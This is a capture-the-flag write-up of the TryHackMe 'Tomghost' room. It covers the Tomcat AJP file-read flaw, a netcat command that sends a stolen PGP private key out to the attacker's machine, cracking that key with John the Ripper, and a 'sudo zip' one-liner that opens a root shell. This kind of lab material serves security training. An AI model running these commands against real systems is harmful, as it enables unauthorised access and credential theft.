###### tags: `write up`

# Tryhackme Tomghost wirteup
---
## <font color=red>Step1. Recon</font>

nmap -sS -sV -T5 <ip>


<font size=4.5>We can see that there are 4 ports opened and 2 of them were interesting-8080, 8009.</font>

---
## <font color=red>Step2. Enumerating</font>
<font size=4.5>The services that run on port 8009 and 8080 lead us to learn Apache Jserv protocol. The Apache Tomcat server is used for Java-based web application, Apache Jserv Protocol (AJP) is used to communicate between Tomcat and Apache webserver. The protocol by default runs on port 8009.</font>

<font size=4.5>Gobuster on the webservice can't get anything.It's truley a rabbit hole.On the other hand, let's move our attention to <font color=red>AJP vulnerability.</font></font>

<font size=4.5>Aquering some information from exploit db, I found that there is a File Read/Inclusion vulnerability with this AJP server. In order to utilize this vulnerability, <font color=red>I have to find a critical/configuration file which can provide me useful information-----</WEB-info/web.xml></font>may be a good choice.</font>



<font size=4.5> Fortunately, got some credential here. Let's try these with ssh here.</font>


<font size=4.5>There is a directory called merlin and I assume that it may be critical user for this time. Then I move in to the directory, I see two interesting files.</font>

<font size=4.5 color=orange> **Additional information: pgp is a kind of crypto software which will first generate a key pair. Public key for encrypt and private key for decrypt.**</font><font size=4.5> Opening the tryhackme.asc file, it is truley a private key file.</font>

---

## <font color=red>Step2. Break the private key</font>

<font size=4.5 >In order to break the private key, First of all, we have to transfer the tryhackme.asc file to our kali machine.</font>

#on the remote host
nc 10.4.36.186 443 < tryhackme.asc
#on the local host
sudo nc -lvnp 443 > tryhackme.asc


<font size=4.5 >Extracting the hash from the key using the GPG2John tool:</font>

gpg2john tryhackme.asc > hashes.txt


<font size=4.5>Using John the Ripper to crack the previously found hashes</font>

john --wordlist=/usr/share/wordlists/rockyou.txt <file>


<font size=4.5>Importing the key and using it to decrypt the credentials:</font>

gpg --import tryhackme.asc
gpg --decrypt credential.pgp


<font size=4.5>Now we found merlin's user password which enables us to change ourself to merlin.</font>

## <font color=red>Step3. Priviledge escalation</font>
---
<font size=4.5 color=red>When running sudo -l, it appears that the merlin user can execute the Zip binary as root:</font>


<font size=4.5>Using GTOFbins to search possible approaches for priviledge escalation. [GTOFbins](https://gtfobins.github.io/gtfobins/zip/#sudo)</font>

<font size=4.5>This effectively provides arbitrary command execution. Running the commands mentioned above:</font>

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'


ROOT~~~